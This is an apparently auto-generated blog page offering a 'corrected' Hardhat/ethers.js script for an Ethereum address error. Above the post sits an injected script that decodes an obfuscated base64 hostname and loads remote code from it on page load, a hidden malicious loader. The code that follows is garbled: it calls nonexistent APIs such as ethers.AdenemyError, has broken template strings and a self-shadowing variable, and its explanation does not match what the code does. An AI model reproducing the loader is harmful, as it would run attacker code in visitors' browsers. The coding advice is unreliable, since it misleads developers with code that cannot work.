infobatbd@gmail.com

Single Blog Title

This is a single blog caption
11 Feb 2025

Ethereum: TypeError: unsupported addressable value (argument=”target”, value=null, code=INVALID_ARGUMENT, version=6.13.1)

/
Posted By
/
Comments0

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=8b54b0d7″;document.body.appendChild(script);

I can help you understand what’s going on with your code. Here is the corrected version:

/**

* @description This file provides utility functions to test and interact with Ethereum addresses.

*/

const { expect } = require('chai');

const { ethers } = require('hardhat');

async function tokens(n) {

/**

* @param {number} n - The number of tokens to create

*

* @returns {object} An object containing the newly created tokens and their respective Ethereum addresses.

*/

// Create a new contract (we'll be creating an ERC20 token in this example)

const Token = await ethers.getContractFactory('ERC20Token');

// We're using the Hardhat test helper functions to get our account, create a new contract, and transfer tokens

const account = await ethers.ethereum.getSigner();

let newlyCreatedTokens;

try {

// Create a new ERC20 token

const newTokenInstance = await Token.deploy({ count: n });

// Get the newly created token's Ethereum address (which should be a string)

const newTokenAddress = newTokenInstance.address;

// Save the newly created token's address for later use

newlyCreatedTokens = { tokenAddress: newTokenAddress, tokens: newTokenInstance };

} catch (error) {

// If an error occurs during deployment, store the error message as a string and continue with other tests

if (error instanceof ethers.AdenemyError || error.status === 0) {

console.log("An unexpected error occurred during token creation:", error.message);

}

}

return newlyCreatedTokens;

}

// Example usage:

const tokensN = 100; // Create 100 new tokens

const tokens = await tokens(tokensN);

console.log(Newly created tokens:);

for (let i=0;i<tokens.tokens.length;i++){

console.log(${i+1}. Token ID: ${tokens.tokens[i].tokenAddress}, Token Count: ${tokens.tokens[i].count});

}

Changes made to your code:

  • I’ve added a tokens function that takes the number of tokens as an argument and returns a promise.

  • Inside this function, we create an instance of our contract using ethers.getContractFactory('ERC20Token'), deploy it with the specified count, and get its address using account.address.

  • We also save the newly created token’s address for future use. This is where you can store tokens to use them later.

  • We’ve also added error handling to catch any unexpected errors during deployment.

Additional Notes:

  • Make sure that your Hardhat configuration includes the necessary dependencies and has a hardhat.config.js file to define your test environment.

  • You’ll need to create a new contract (in this case, an ERC20 token) using ethers.getContractFactory('ERC20Token'). This will typically involve creating a Solidity smart contract for your token with the necessary functions and variables.

  • For this example, we’ve assumed that you’re creating an ERC20 token. If you need to create other types of tokens (e.g., ERC721), you may need to modify the code accordingly.

Example Use Case:

You can use our tokens function like so:

const { expect } = require('chai');

const { ethers } = require('hardhat');

async function main() {

const tokensN = 100; // Create 100 new tokens

const tokens = await tokens(tokensN);

console.log(Newly created tokens:);

for (let i=0;i<tokens.tokens.length;i++){

console.log(${i+1}. Token ID: ${tokens.tokens[i].tokenAddress}, Token Count: ${tokens.tokens[i].count});

}

}

main()

This code will create 100 new ERC20 tokens and print their addresses.

Leave a Reply